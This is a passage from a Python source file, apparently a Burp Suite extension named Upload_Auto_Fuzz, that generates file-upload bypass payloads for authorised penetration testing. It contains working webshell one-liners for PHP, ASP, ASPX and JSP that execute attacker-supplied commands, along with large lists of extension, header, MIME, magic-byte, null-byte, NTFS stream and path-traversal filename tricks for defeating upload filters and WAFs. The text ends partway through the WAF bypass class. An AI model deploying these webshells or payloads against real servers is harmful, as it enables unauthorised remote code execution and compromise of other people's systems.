-
Notifications
You must be signed in to change notification settings - Fork 46
Expand file tree
/
Copy pathUpload_Auto_Fuzz.py
More file actions
2135 lines (1721 loc) · 74.4 KB
/
Copy pathUpload_Auto_Fuzz.py
File metadata and controls
2135 lines (1721 loc) · 74.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8 -*-
"""
Upload Auto Fuzz - Burp Suite Extension for File Upload Vulnerability Testing
A comprehensive file upload vulnerability testing tool that generates intelligent
payloads to bypass various security mechanisms including WAF, content-type validation,
extension filtering, and more.
Architecture:
- Strategy Pattern: Each bypass technique is encapsulated as a FuzzStrategy
- Factory Pattern: PayloadFactory manages strategy registration and payload generation
- Template Method: Base class defines the generation skeleton, subclasses implement specifics
Author: T3nk0
Version: 1.2.0
License: MIT
"""
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
from burp import ITab
from javax.swing import (JPanel, JCheckBox, JLabel, JButton,
BoxLayout, BorderFactory, UIManager,
JScrollPane, JTextArea, SwingUtilities)
from javax.swing.border import TitledBorder
from java.awt import (GridBagLayout, GridBagConstraints, Insets, Dimension,
FlowLayout, Font, Color, BorderLayout)
import re
import base64
import hashlib
from abc import ABCMeta, abstractmethod
# =============================================================================
# Constants and Configuration
# =============================================================================
VERSION = "1.2.0"
EXTENSION_NAME = "Upload_Auto_Fuzz {}".format(VERSION)
MAX_PAYLOADS_DEFAULT = 2000
MAX_FILENAME_LENGTH = 255
# Supported backend languages with their executable extensions
BACKEND_LANGUAGES = {
'php': ['php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'pht', 'phpt', 'phar', 'pgif'],
'asp': ['asp', 'asa', 'cer', 'cdx', 'htr'],
'aspx': ['aspx', 'ashx', 'asmx', 'asax'],
'jsp': ['jsp', 'jspa', 'jsps', 'jspx', 'jspf'],
}
# Common image MIME types for bypass
IMAGE_MIME_TYPES = [
'image/jpeg', 'image/png', 'image/gif', 'image/bmp',
'image/webp', 'image/svg+xml', 'image/tiff'
]
# Magic bytes for file type spoofing
MAGIC_BYTES = {
'jpg': '\xff\xd8\xff\xe0',
'png': '\x89PNG\r\n\x1a\n',
'gif': 'GIF89a',
'gif87': 'GIF87a',
'bmp': 'BM',
'pdf': '%PDF-1.5',
'zip': 'PK\x03\x04',
}
# WebShell templates for different languages
WEBSHELL_TEMPLATES = {
'php': [
'<?php eval($_POST["cmd"]); ?>',
'<?php system($_REQUEST["cmd"]); ?>',
'<?= `$_GET[0]`; ?>',
'<?php $_GET[a]($_GET[b]); ?>',
],
'asp': [
'<%eval request("cmd")%>',
'<%execute request("cmd")%>',
],
'aspx': [
'<%@ Page Language="C#" %><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]);%>',
],
'jsp': [
'<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',
'<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>',
],
}
# =============================================================================
# Utility Functions
# =============================================================================
class Logger(object):
"""Centralized logging utility for the extension."""
_callbacks = None
_enabled = True
@classmethod
def init(cls, callbacks):
cls._callbacks = callbacks
@classmethod
def info(cls, message):
if cls._enabled:
print("[INFO] {}".format(message))
@classmethod
def debug(cls, message):
if cls._enabled:
print("[DEBUG] {}".format(message))
@classmethod
def error(cls, message):
print("[ERROR] {}".format(message))
@classmethod
def warn(cls, message):
print("[WARN] {}".format(message))
def safe_url_decode(encoded_str):
"""
Safely decode URL-encoded string without external dependencies.
Args:
encoded_str: URL-encoded string (e.g., '%00', '%20')
Returns:
Decoded string
"""
result = []
i = 0
while i < len(encoded_str):
if encoded_str[i] == '%' and i + 2 < len(encoded_str):
try:
hex_val = encoded_str[i+1:i+3]
result.append(chr(int(hex_val, 16)))
i += 3
except ValueError:
result.append(encoded_str[i])
i += 1
else:
result.append(encoded_str[i])
i += 1
return ''.join(result)
def compute_payload_hash(payload):
"""
Compute a unique hash for payload deduplication.
Args:
payload: The payload string
Returns:
MD5 hash string of the payload
"""
if isinstance(payload, unicode):
payload = payload.encode('utf-8')
return hashlib.md5(payload).hexdigest()
def safe_regex_search(pattern, text, default=None):
"""
Safely perform regex search with error handling.
Args:
pattern: Regex pattern string
text: Text to search in
default: Default value if no match found
Returns:
Match object or default value
"""
try:
match = re.search(pattern, text, re.DOTALL)
return match if match else default
except re.error as e:
Logger.error("Regex error: {}".format(str(e)))
return default
def extract_filename_parts(template):
"""
Extract filename and extension from Content-Disposition header.
Args:
template: HTTP request template containing Content-Disposition
Returns:
Tuple of (full_filename, extension, filename_match_group)
Returns (None, None, None) if extraction fails
"""
# Try different filename patterns
patterns = [
r'filename="([^"]+)"', # Standard: filename="test.jpg"
r"filename='([^']+)'", # Single quotes: filename='test.jpg'
r'filename=([^\s;]+)', # No quotes: filename=test.jpg
]
for pattern in patterns:
match = safe_regex_search(pattern, template)
if match:
filename = match.group(1)
if '.' in filename:
ext = filename.rsplit('.', 1)[-1]
return filename, ext, match.group(0)
return filename, '', match.group(0)
return None, None, None
def extract_content_type(template):
"""
Extract Content-Type value from template.
Args:
template: HTTP request template
Returns:
Content-Type string or None
"""
match = safe_regex_search(r'Content-Type:\s*([^\r\n]+)', template)
return match.group(1).strip() if match else None
# =============================================================================
# Payload Generation Configuration
# =============================================================================
class FuzzConfig(object):
"""
Configuration container for payload generation.
Implements Singleton pattern for global access within a session.
"""
_instance = None
def __new__(cls, force_new=False):
"""
Create or return singleton instance.
Args:
force_new: If True, create a new instance (for testing)
"""
if cls._instance is None or force_new:
cls._instance = object.__new__(cls)
cls._instance._initialized = False
return cls._instance
def __init__(self, force_new=False):
if self._initialized and not force_new:
return
# Target languages to test (default: all)
self.target_languages = ['php', 'asp', 'aspx', 'jsp']
# Enabled strategy categories (default: all enabled)
self.enabled_strategies = {
'suffix': True,
'content_disposition': True,
'content_type': True,
'windows_features': True,
'linux_features': True,
'magic_bytes': True,
'null_byte': True,
'double_extension': True,
'case_variation': True,
'special_chars': True,
'encoding': True,
'waf_bypass': True,
'webshell_content': True,
'config_files': True,
}
# Maximum payloads to generate (default: 2000)
self.max_payloads = MAX_PAYLOADS_DEFAULT
# Include webshell content in payloads
self.include_webshell = True
self._initialized = True
@classmethod
def reset(cls):
"""Reset the singleton instance (useful for testing)."""
cls._instance = None
def set_target_languages(self, languages):
"""Set target backend languages."""
valid_langs = [l for l in languages if l in BACKEND_LANGUAGES]
if valid_langs:
self.target_languages = valid_langs
def enable_strategy(self, strategy_name, enabled=True):
"""Enable or disable a specific strategy."""
if strategy_name in self.enabled_strategies:
self.enabled_strategies[strategy_name] = enabled
def is_strategy_enabled(self, strategy_name):
"""Check if a strategy is enabled."""
return self.enabled_strategies.get(strategy_name, False)
# =============================================================================
# Abstract Base Strategy
# =============================================================================
class FuzzStrategy(object):
"""
Abstract base class for all fuzzing strategies.
Each strategy encapsulates a specific bypass technique and generates
payloads accordingly. Strategies are designed to be composable and
independently testable.
"""
__metaclass__ = ABCMeta
# Strategy metadata
name = "base"
description = "Base fuzzing strategy"
category = "general"
def __init__(self, config=None):
"""
Initialize strategy with configuration.
Args:
config: FuzzConfig instance or None for default
"""
self.config = config or FuzzConfig()
@abstractmethod
def generate(self, template, filename, extension, content_type):
"""
Generate payloads for this strategy.
Args:
template: Original HTTP request template
filename: Original filename (e.g., "test.jpg")
extension: Original file extension (e.g., "jpg")
content_type: Original Content-Type value
Yields:
Modified template strings as payloads
"""
pass
def _replace_filename(self, template, old_filename_match, new_filename):
"""
Helper to replace filename in template.
Args:
template: Original template
old_filename_match: The matched filename string (e.g., 'filename="test.jpg"')
new_filename: New filename to use
Returns:
Modified template string
"""
new_match = 'filename="{}"'.format(new_filename)
return template.replace(old_filename_match, new_match)
def _replace_content_type(self, template, old_ct, new_ct):
"""
Helper to replace Content-Type in template.
Args:
template: Original template
old_ct: Old Content-Type value
new_ct: New Content-Type value
Returns:
Modified template string
"""
return template.replace(
'Content-Type: {}'.format(old_ct),
'Content-Type: {}'.format(new_ct)
)
def _get_target_extensions(self):
"""Get list of target extensions based on configured languages."""
extensions = []
for lang in self.config.target_languages:
if lang in BACKEND_LANGUAGES:
extensions.extend(BACKEND_LANGUAGES[lang])
return list(set(extensions))
# =============================================================================
# Concrete Fuzzing Strategies
# =============================================================================
class SuffixBypassStrategy(FuzzStrategy):
"""
Strategy for file extension/suffix bypass techniques.
Techniques include:
- Alternative executable extensions
- Case variations
- Null byte injection
- Double extensions
- Special character injection
"""
name = "suffix"
description = "File extension bypass techniques"
category = "suffix"
# Extension bypass patterns: {language: [bypass_patterns]}
BYPASS_PATTERNS = {
'php': [
# Alternative extensions
'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'pht', 'phar', 'phps',
'php1', 'php2', 'pgif',
# Case variations
'pHp', 'PhP', 'PHP', 'pHP', 'PHp', 'phP',
# 双写绕过
'pphphp', 'phphpp', 'pphp',
# Null byte variations
'php%00', 'php%00.jpg', 'php\x00.jpg',
# Double extensions
'php.jpg', 'php.png', 'php.gif', 'jpg.php', 'png.php',
# Special characters
'php ', 'php.', 'php..', 'php::$DATA', 'php:$DATA',
# Semicolon bypass (IIS)
'php;.jpg', 'php;jpg', 'php;.png',
# Path separator tricks
'php/.jpg', 'php\\.jpg',
# Encoding tricks
'p%68p', '%70hp', 'ph%70',
# 文件名中间插入特殊字符
'p;hp', 'p hp', 'ph p', 'p.hp',
],
'asp': [
'asa', 'cer', 'cdx', 'htr',
'asp ', 'asp.', 'asp;.jpg', 'asp;jpg',
'asp%00', 'asp%00.jpg', 'asp::$DATA',
'aSp', 'AsP', 'ASP', 'aSP', 'Asp',
# 双写绕过
'aspasp', 'aasps', 'aspas',
# 文件名中间插入特殊字符
'a;sp', 'as p', 'a.sp',
],
'aspx': [
'ashx', 'asmx', 'asax', 'ascx', 'soap', 'rem', 'axd',
'aspx ', 'aspx.', 'aspx;.jpg',
'aSpX', 'ASPX', 'AsPx', 'ASpx', 'aspX',
# 双写绕过
'aspxaspx', 'aaspxspx',
],
'jsp': [
'jspa', 'jsps', 'jspx', 'jspf', 'jsw', 'jsv', 'jtml',
'jsp ', 'jsp.', 'jsp;.jpg',
'jSp', 'JsP', 'JSP', 'jSP', 'Jsp',
'jsp%00', 'jsp%00.jpg',
# 双写绕过
'jspjsp', 'jjsps',
],
}
def generate(self, template, filename, extension, content_type):
"""Generate suffix bypass payloads."""
_, _, filename_match = extract_filename_parts(template)
if not filename_match:
return
base_name = filename.rsplit('.', 1)[0] if '.' in filename else filename
generated = set()
for lang in self.config.target_languages:
if lang not in self.BYPASS_PATTERNS:
continue
for pattern in self.BYPASS_PATTERNS[lang]:
new_filename = "{}.{}".format(base_name, pattern)
# Skip if already generated
if new_filename in generated:
continue
generated.add(new_filename)
# Truncate if too long
if len(new_filename) > MAX_FILENAME_LENGTH:
continue
yield self._replace_filename(template, filename_match, new_filename)
class ContentDispositionStrategy(FuzzStrategy):
"""
Strategy for Content-Disposition header manipulation.
Techniques include:
- Header name case variations
- Spacing manipulation
- Quote variations
- Multiple filename parameters
- Special character injection
- form-data pollution
"""
name = "content_disposition"
description = "Content-Disposition header bypass techniques"
category = "content_disposition"
def generate(self, template, filename, extension, content_type):
"""Generate Content-Disposition bypass payloads."""
_, _, filename_match = extract_filename_parts(template)
if not filename_match:
return
base_name = filename.rsplit('.', 1)[0] if '.' in filename else filename
for lang in self.config.target_languages:
ext = BACKEND_LANGUAGES[lang][0] # Primary extension
# Case variations for Content-Disposition
cd_variations = [
('Content-Disposition', 'content-disposition'),
('Content-Disposition', 'CONTENT-DISPOSITION'),
('Content-Disposition', 'Content-disposition'),
('Content-Disposition', 'ConTENT-DisPoSition'), # 混合大小写
('Content-Disposition: ', 'Content-Disposition:'),
('Content-Disposition: ', 'Content-Disposition: '),
('Content-Disposition: ', 'Content-Disposition:\t'),
]
for old, new in cd_variations:
if old in template:
modified = template.replace(old, new)
modified = self._replace_filename(modified, filename_match,
"{}.{}".format(base_name, ext))
yield modified
# form-data variations
fd_variations = [
('form-data', 'Form-Data'),
('form-data', 'FORM-DATA'),
('form-data', 'form-Data'),
('form-data', 'form-datA'),
('form-data; ', 'form-data;'),
('form-data; ', 'form-data; '),
('form-data', '*'),
('form-data', 'f+orm-data'),
# form-data 污染 - 替换为脏数据
('form-data', 'AAAA="BBBB"'),
# 删除 form-data
('form-data; ', ''),
# 多分号污染
('form-data;', 'form-data;;;;;;;;;;'),
('form-data;', 'form-datA*;;;;;;;;;;'),
]
for old, new in fd_variations:
if old in template:
modified = template.replace(old, new)
modified = self._replace_filename(modified, filename_match,
"{}.{}".format(base_name, ext))
yield modified
# Filename parameter variations
filename_variations = [
# Quote variations
'filename={}.{}'.format(base_name, ext),
"filename='{}.{}'".format(base_name, ext),
'filename=`{}.{}`'.format(base_name, ext),
# 未闭合引号
'filename="{}.{}'.format(base_name, ext),
"filename='{}.{}".format(base_name, ext),
'filename="{}.{}\''.format(base_name, ext), # 混合引号
# Multiple equals
'filename=="{}.{}"'.format(base_name, ext),
'filename==="{}.{}"'.format(base_name, ext),
'filename===="{}.{}"'.format(base_name, ext),
# 超多等号
'filename' + '=' * 50 + '"{}.{}"'.format(base_name, ext),
# Newline injection
'filename="{}.{}"\n'.format(base_name, ext),
'filename\n="{}.{}"'.format(base_name, ext),
'filename=\n"{}.{}"'.format(base_name, ext),
# Double filename (parameter pollution)
'filename="safe.jpg"; filename="{}.{}"'.format(base_name, ext),
'filename="{}.{}"; filename="safe.jpg"'.format(base_name, ext),
'filename="1.jpg";filename="{}.{}"'.format(base_name, ext),
# 空 filename 在前
'filename= ;filename="{}.{}"'.format(base_name, ext),
'filename="";filename="{}.{}"'.format(base_name, ext),
# Backslash
'filename="{}\\{}"'.format(base_name, ext),
# 多分号污染
'filename;;;;="{}.{}"'.format(base_name, ext),
'filename;;;;;;;;;;;;;;="{}.{}"'.format(base_name, ext),
# name 参数污染
'name="file";;;;;;;;;;;; filename="{}.{}"'.format(base_name, ext),
]
for variation in filename_variations:
yield template.replace(filename_match, variation)
class ContentTypeStrategy(FuzzStrategy):
"""
Strategy for Content-Type header manipulation.
Techniques include:
- MIME type spoofing
- Header case variations
- Empty/missing Content-Type
- URL encoded Content-Type
- Duplicate Content-Type headers
"""
name = "content_type"
description = "Content-Type header bypass techniques"
category = "content_type"
# MIME types to try
MIME_TYPES = [
'image/jpeg', 'image/png', 'image/gif', 'image/bmp',
'image/webp', 'image/svg+xml', 'image/tiff',
'text/plain', 'text/html',
'application/octet-stream',
'application/x-httpd-php',
'application/x-php',
'application/x-asp',
'multipart/form-data',
# 可执行类型伪装为图片
'image/php',
'image/asp',
'image/aspx',
'image/jsp',
]
def generate(self, template, filename, extension, content_type):
"""Generate Content-Type bypass payloads."""
if not content_type:
return
_, _, filename_match = extract_filename_parts(template)
if not filename_match:
return
base_name = filename.rsplit('.', 1)[0] if '.' in filename else filename
for lang in self.config.target_languages:
ext = BACKEND_LANGUAGES[lang][0]
# Replace filename first
modified_template = self._replace_filename(template, filename_match,
"{}.{}".format(base_name, ext))
# Try different MIME types
for mime in self.MIME_TYPES:
yield self._replace_content_type(modified_template, content_type, mime)
# URL encoded Content-Type
url_encoded_types = [
'image%2Fgif',
'image%2Fjpeg',
'image%2Fphp',
'image%2F{}'.format(ext),
]
for encoded_type in url_encoded_types:
yield self._replace_content_type(modified_template, content_type, encoded_type)
# Empty Content-Type
yield modified_template.replace('Content-Type: {}'.format(content_type), '')
# Case variations
ct_variations = [
('Content-Type:', 'content-type:'),
('Content-Type:', 'CONTENT-TYPE:'),
('Content-Type: ', 'Content-Type:'),
('Content-Type: ', 'Content-Type: '),
]
for old, new in ct_variations:
if old in modified_template:
yield modified_template.replace(old, new)
# Duplicate Content-Type header (第二个覆盖第一个)
if 'Content-Type:' in modified_template:
# 在原 Content-Type 前添加一个
double_ct = modified_template.replace(
'Content-Type: {}'.format(content_type),
'Content-Type: image/gif\r\nContent-Type: {}'.format(content_type)
)
yield double_ct
# 不改文件名,只改 Content-Type 为可执行类型
executable_types = [
'application/x-httpd-php',
'application/x-php',
'text/x-php',
'application/x-asp',
'application/x-aspx',
]
for exec_type in executable_types:
yield self._replace_content_type(template, content_type, exec_type)
class WindowsFeaturesStrategy(FuzzStrategy):
"""
Strategy exploiting Windows filesystem features.
Techniques include:
- NTFS Alternate Data Streams (ADS)
- Short filename (8.3) format
- Reserved device names
- Path separator tricks
"""
name = "windows_features"
description = "Windows filesystem bypass techniques"
category = "windows_features"
# Windows reserved device names
RESERVED_NAMES = ['con', 'aux', 'nul', 'prn', 'com1', 'com2', 'lpt1', 'lpt2']
def generate(self, template, filename, extension, content_type):
"""Generate Windows-specific bypass payloads."""
_, _, filename_match = extract_filename_parts(template)
if not filename_match:
return
base_name = filename.rsplit('.', 1)[0] if '.' in filename else filename
for lang in self.config.target_languages:
ext = BACKEND_LANGUAGES[lang][0]
# NTFS Alternate Data Streams
ads_patterns = [
'{}.{}::$DATA'.format(base_name, ext),
'{}.{}::$DATA......'.format(base_name, ext),
'{}:{}'.format(base_name, ext),
]
for pattern in ads_patterns:
yield self._replace_filename(template, filename_match, pattern)
# IIS semicolon bypass
iis_patterns = [
'{}.{};.jpg'.format(base_name, ext),
'{}.{};.png'.format(base_name, ext),
'{}.{};jpg'.format(base_name, ext),
]
for pattern in iis_patterns:
yield self._replace_filename(template, filename_match, pattern)
# Reserved device names
for device in self.RESERVED_NAMES:
yield self._replace_filename(template, filename_match,
'{}.{}'.format(device, ext))
# Trailing dots and spaces (Windows strips these)
trailing_patterns = [
'{}.{}.'.format(base_name, ext),
'{}.{}..'.format(base_name, ext),
'{}.{} '.format(base_name, ext),
'{}.{}. . .'.format(base_name, ext),
]
for pattern in trailing_patterns:
yield self._replace_filename(template, filename_match, pattern)
class LinuxFeaturesStrategy(FuzzStrategy):
"""
Strategy exploiting Linux/Unix filesystem features.
Techniques include:
- Path traversal
- Symbolic link tricks
- Apache multi-extension handling
- Null byte injection
"""
name = "linux_features"
description = "Linux/Unix filesystem bypass techniques"
category = "linux_features"
def generate(self, template, filename, extension, content_type):
"""Generate Linux-specific bypass payloads."""
_, _, filename_match = extract_filename_parts(template)
if not filename_match:
return
base_name = filename.rsplit('.', 1)[0] if '.' in filename else filename
for lang in self.config.target_languages:
ext = BACKEND_LANGUAGES[lang][0]
# Apache multi-extension (AddHandler)
apache_patterns = [
'{}.{}.jpg'.format(base_name, ext),
'{}.{}.png'.format(base_name, ext),
'{}.{}.gif'.format(base_name, ext),
'{}.jpg.{}'.format(base_name, ext),
]
for pattern in apache_patterns:
yield self._replace_filename(template, filename_match, pattern)
# Path traversal attempts
traversal_patterns = [
'../{}.{}'.format(base_name, ext),
'../../{}.{}'.format(base_name, ext),
'../../../{}.{}'.format(base_name, ext),
'..../{}.{}'.format(base_name, ext),
'..\\{}.{}'.format(base_name, ext),
]
for pattern in traversal_patterns:
yield self._replace_filename(template, filename_match, pattern)
# Dot prefix (hidden files)
yield self._replace_filename(template, filename_match,
'.{}.{}'.format(base_name, ext))
# Trailing dot
yield self._replace_filename(template, filename_match,
'{}.{}.'.format(base_name, ext))
class MagicBytesStrategy(FuzzStrategy):
"""
Strategy for file magic bytes/signature spoofing.
Prepends legitimate file signatures to bypass content-based detection.
"""
name = "magic_bytes"
description = "File magic bytes spoofing"
category = "magic_bytes"
def generate(self, template, filename, extension, content_type):
"""Generate magic bytes spoofing payloads."""
_, _, filename_match = extract_filename_parts(template)
if not filename_match:
return
base_name = filename.rsplit('.', 1)[0] if '.' in filename else filename
# Find content section
content_match = safe_regex_search(r'Content-Type:[^\r\n]*\r\n\r\n', template)
if not content_match:
return
content_marker = content_match.group(0)
for lang in self.config.target_languages:
ext = BACKEND_LANGUAGES[lang][0]
# Replace filename
modified = self._replace_filename(template, filename_match,
"{}.{}".format(base_name, ext))
# Prepend magic bytes
for magic_name, magic_bytes in MAGIC_BYTES.items():
# Insert magic bytes after Content-Type header
payload = modified.replace(content_marker,
content_marker + magic_bytes)
yield payload
class NullByteStrategy(FuzzStrategy):
"""
Strategy for null byte injection attacks.
Exploits improper null byte handling in various languages/frameworks.
"""
name = "null_byte"
description = "Null byte injection techniques"
category = "null_byte"
# Various null byte representations
NULL_VARIANTS = [
'%00', '\\0', '\\x00', '\x00',
'%2500', # Double URL encoding
'%u0000', # Unicode null
]
def generate(self, template, filename, extension, content_type):
"""Generate null byte injection payloads."""
_, _, filename_match = extract_filename_parts(template)
if not filename_match:
return
base_name = filename.rsplit('.', 1)[0] if '.' in filename else filename
for lang in self.config.target_languages:
ext = BACKEND_LANGUAGES[lang][0]
for null in self.NULL_VARIANTS:
# Null byte before allowed extension
patterns = [
'{}.{}{}.jpg'.format(base_name, ext, null),
'{}.{}{}jpg'.format(base_name, ext, null),
'{}{}.{}'.format(base_name, null, ext),
]
for pattern in patterns:
yield self._replace_filename(template, filename_match, pattern)
class EncodingStrategy(FuzzStrategy):
"""
Strategy for encoding-based bypass techniques.
Techniques include:
- URL encoding
- Double URL encoding
- Unicode encoding
- Base64 encoding
- MIME encoding (RFC 2047)
"""
name = "encoding"
description = "Encoding-based bypass techniques"
category = "encoding"
def generate(self, template, filename, extension, content_type):
"""Generate encoding bypass payloads."""
_, _, filename_match = extract_filename_parts(template)
if not filename_match:
return
base_name = filename.rsplit('.', 1)[0] if '.' in filename else filename
for lang in self.config.target_languages:
ext = BACKEND_LANGUAGES[lang][0]
full_name = "{}.{}".format(base_name, ext)
# URL encoding variations
url_patterns = [
'{}.%70%68%70'.format(base_name) if ext == 'php' else None, # .php
'{}.%61%73%70'.format(base_name) if ext == 'asp' else None, # .asp
'{}.%6a%73%70'.format(base_name) if ext == 'jsp' else None, # .jsp
]
for pattern in url_patterns:
if pattern:
yield self._replace_filename(template, filename_match, pattern)
# Double URL encoding
double_encoded = '{}.%2570%2568%2570'.format(base_name) if ext == 'php' else None
if double_encoded:
yield self._replace_filename(template, filename_match, double_encoded)
# MIME encoding (RFC 2047)
try:
b64_name = base64.b64encode(full_name)
mime_patterns = [
'=?utf-8?B?{}?='.format(b64_name),
'=?utf-8?Q?{}?='.format(full_name.replace('.', '=2E')),
]
for pattern in mime_patterns:
yield self._replace_filename(template, filename_match, pattern)
except Exception:
pass # Skip if encoding fails
# Unicode normalization bypass
unicode_patterns = [
u'{}.p\u0068p'.format(base_name) if ext == 'php' else None,
u'{}.ph\u0070'.format(base_name) if ext == 'php' else None,
]
for pattern in unicode_patterns:
if pattern:
yield self._replace_filename(template, filename_match, pattern)
class WAFBypassStrategy(FuzzStrategy):
"""
Strategy for Web Application Firewall bypass.
Techniques include:
- Header injection
- Chunked encoding
- Request smuggling patterns
- Oversized payloads
"""
name = "waf_bypass"
description = "WAF bypass techniques"
category = "waf_bypass"
def generate(self, template, filename, extension, content_type):
"""Generate WAF bypass payloads."""
_, _, filename_match = extract_filename_parts(template)
if not filename_match: